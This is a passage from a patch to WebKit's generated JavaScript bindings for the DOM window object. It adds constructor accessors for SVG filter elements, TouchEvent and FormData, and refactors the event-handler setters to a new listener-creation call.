+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEFuncBElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEFuncGElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEFuncGElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEFuncRElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEFuncRElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEGaussianBlurElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEGaussianBlurElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEImageElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEImageElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEMergeElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEMergeElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEMergeNodeElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEMergeNodeElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEMorphologyElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEMorphologyElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEOffsetElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEOffsetElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEPointLightElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEPointLightElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFESpecularLightingElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFESpecularLightingElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFESpotLightElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFESpotLightElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFETileElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFETileElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFETurbulenceElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFETurbulenceElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFilterElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFilterElement::getConstructor(exec, castedThis);
+}
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsDOMWindowTouchEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSTouchEvent::getConstructor(exec, castedThis);
+}
+#endif
+
+JSValue jsDOMWindowFormDataConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSDOMFormData::getConstructor(exec, castedThis);
+}
+
 void setJSDOMWindowLocationbar(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -3700,7 +5058,8 @@ void setJSDOMWindowName(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
-    DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
+    JSDOMWindow* castedThisObj = static_cast<JSDOMWindow*>(thisObject);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThisObj->impl());
     imp->setName(value.toString(exec));
 }
 
@@ -3708,7 +5067,8 @@ void setJSDOMWindowStatus(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
-    DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
+    JSDOMWindow* castedThisObj = static_cast<JSDOMWindow*>(thisObject);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThisObj->impl());
     imp->setStatus(value.toString(exec));
 }
 
@@ -3716,7 +5076,8 @@ void setJSDOMWindowDefaultStatus(ExecState* exec, JSObject* thisObject, JSValue
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
-    DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
+    JSDOMWindow* castedThisObj = static_cast<JSDOMWindow*>(thisObject);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThisObj->impl());
     imp->setDefaultStatus(value.toString(exec));
 }
 
@@ -3724,7 +5085,8 @@ void setJSDOMWindowDefaultstatus(ExecState* exec, JSObject* thisObject, JSValue
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
-    DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
+    JSDOMWindow* castedThisObj = static_cast<JSDOMWindow*>(thisObject);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThisObj->impl());
     imp->setDefaultstatus(value.toString(exec));
 }
 
@@ -3790,8 +5152,7 @@ void setJSDOMWindowOnabort(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnabort(globalObject->createJSAttributeEventListener(value));
+    imp->setOnabort(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnbeforeunload(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3800,8 +5161,7 @@ void setJSDOMWindowOnbeforeunload(ExecState* exec, JSObject* thisObject, JSValue
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnbeforeunload(globalObject->createJSAttributeEventListener(value));
+    imp->setOnbeforeunload(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnblur(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3810,8 +5170,7 @@ void setJSDOMWindowOnblur(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnblur(globalObject->createJSAttributeEventListener(value));
+    imp->setOnblur(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOncanplay(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3820,8 +5179,7 @@ void setJSDOMWindowOncanplay(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOncanplay(globalObject->createJSAttributeEventListener(value));
+    imp->setOncanplay(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOncanplaythrough(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3830,8 +5188,7 @@ void setJSDOMWindowOncanplaythrough(ExecState* exec, JSObject* thisObject, JSVal
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOncanplaythrough(globalObject->createJSAttributeEventListener(value));
+    imp->setOncanplaythrough(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnchange(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3840,8 +5197,7 @@ void setJSDOMWindowOnchange(ExecState* exec, JSObject* thisObject, JSValue value
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnchange(globalObject->createJSAttributeEventListener(value));
+    imp->setOnchange(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnclick(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3850,8 +5206,7 @@ void setJSDOMWindowOnclick(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnclick(globalObject->createJSAttributeEventListener(value));
+    imp->setOnclick(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOncontextmenu(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3860,8 +5215,7 @@ void setJSDOMWindowOncontextmenu(ExecState* exec, JSObject* thisObject, JSValue
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOncontextmenu(globalObject->createJSAttributeEventListener(value));
+    imp->setOncontextmenu(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOndblclick(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3870,8 +5224,7 @@ void setJSDOMWindowOndblclick(ExecState* exec, JSObject* thisObject, JSValue val
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOndblclick(globalObject->createJSAttributeEventListener(value));
+    imp->setOndblclick(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOndrag(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3880,8 +5233,7 @@ void setJSDOMWindowOndrag(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOndrag(globalObject->createJSAttributeEventListener(value));
+    imp->setOndrag(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOndragend(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3890,8 +5242,7 @@ void setJSDOMWindowOndragend(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOndragend(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragend(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOndragenter(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3900,8 +5251,7 @@ void setJSDOMWindowOndragenter(ExecState* exec, JSObject* thisObject, JSValue va
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOndragenter(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragenter(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOndragleave(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3910,8 +5260,7 @@ void setJSDOMWindowOndragleave(ExecState* exec, JSObject* thisObject, JSValue va
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOndragleave(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragleave(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOndragover(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3920,8 +5269,7 @@ void setJSDOMWindowOndragover(ExecState* exec, JSObject* thisObject, JSValue val
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOndragover(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragover(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOndragstart(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3930,8 +5278,7 @@ void setJSDOMWindowOndragstart(ExecState* exec, JSObject* thisObject, JSValue va
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOndragstart(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragstart(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOndrop(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3940,8 +5287,7 @@ void setJSDOMWindowOndrop(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOndrop(globalObject->createJSAttributeEventListener(value));
+    imp->setOndrop(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOndurationchange(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3950,8 +5296,7 @@ void setJSDOMWindowOndurationchange(ExecState* exec, JSObject* thisObject, JSVal
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOndurationchange(globalObject->createJSAttributeEventListener(value));
+    imp->setOndurationchange(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnemptied(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3960,8 +5305,7 @@ void setJSDOMWindowOnemptied(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnemptied(globalObject->createJSAttributeEventListener(value));
+    imp->setOnemptied(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnended(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3970,8 +5314,7 @@ void setJSDOMWindowOnended(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnended(globalObject->createJSAttributeEventListener(value));
+    imp->setOnended(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnerror(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3980,8 +5323,7 @@ void setJSDOMWindowOnerror(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnerror(globalObject->createJSAttributeEventListener(value));
+    imp->setOnerror(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnfocus(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -3990,8 +5332,7 @@ void setJSDOMWindowOnfocus(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnfocus(globalObject->createJSAttributeEventListener(value));
+    imp->setOnfocus(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnhashchange(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4000,8 +5341,7 @@ void setJSDOMWindowOnhashchange(ExecState* exec, JSObject* thisObject, JSValue v
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnhashchange(globalObject->createJSAttributeEventListener(value));
+    imp->setOnhashchange(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOninput(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4010,8 +5350,7 @@ void setJSDOMWindowOninput(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOninput(globalObject->createJSAttributeEventListener(value));
+    imp->setOninput(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOninvalid(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4020,8 +5359,7 @@ void setJSDOMWindowOninvalid(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOninvalid(globalObject->createJSAttributeEventListener(value));
+    imp->setOninvalid(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnkeydown(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4030,8 +5368,7 @@ void setJSDOMWindowOnkeydown(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnkeydown(globalObject->createJSAttributeEventListener(value));
+    imp->setOnkeydown(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnkeypress(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4040,8 +5377,7 @@ void setJSDOMWindowOnkeypress(ExecState* exec, JSObject* thisObject, JSValue val
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnkeypress(globalObject->createJSAttributeEventListener(value));
+    imp->setOnkeypress(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnkeyup(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4050,8 +5386,7 @@ void setJSDOMWindowOnkeyup(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnkeyup(globalObject->createJSAttributeEventListener(value));
+    imp->setOnkeyup(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnload(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4060,8 +5395,7 @@ void setJSDOMWindowOnload(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnload(globalObject->createJSAttributeEventListener(value));
+    imp->setOnload(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnloadeddata(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4070,8 +5404,7 @@ void setJSDOMWindowOnloadeddata(ExecState* exec, JSObject* thisObject, JSValue v
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnloadeddata(globalObject->createJSAttributeEventListener(value));
+    imp->setOnloadeddata(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnloadedmetadata(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4080,8 +5413,7 @@ void setJSDOMWindowOnloadedmetadata(ExecState* exec, JSObject* thisObject, JSVal
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnloadedmetadata(globalObject->createJSAttributeEventListener(value));
+    imp->setOnloadedmetadata(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnloadstart(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4090,8 +5422,7 @@ void setJSDOMWindowOnloadstart(ExecState* exec, JSObject* thisObject, JSValue va
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnloadstart(globalObject->createJSAttributeEventListener(value));
+    imp->setOnloadstart(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnmessage(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4100,8 +5431,7 @@ void setJSDOMWindowOnmessage(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnmessage(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmessage(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnmousedown(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4110,8 +5440,7 @@ void setJSDOMWindowOnmousedown(ExecState* exec, JSObject* thisObject, JSValue va
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnmousedown(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmousedown(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnmousemove(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4120,8 +5449,7 @@ void setJSDOMWindowOnmousemove(ExecState* exec, JSObject* thisObject, JSValue va
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnmousemove(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmousemove(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnmouseout(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4130,8 +5458,7 @@ void setJSDOMWindowOnmouseout(ExecState* exec, JSObject* thisObject, JSValue val
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnmouseout(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmouseout(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnmouseover(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4140,8 +5467,7 @@ void setJSDOMWindowOnmouseover(ExecState* exec, JSObject* thisObject, JSValue va
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnmouseover(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmouseover(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnmouseup(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4150,8 +5476,7 @@ void setJSDOMWindowOnmouseup(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnmouseup(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmouseup(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnmousewheel(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4160,8 +5485,7 @@ void setJSDOMWindowOnmousewheel(ExecState* exec, JSObject* thisObject, JSValue v
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnmousewheel(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmousewheel(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnoffline(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4170,8 +5494,7 @@ void setJSDOMWindowOnoffline(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnoffline(globalObject->createJSAttributeEventListener(value));
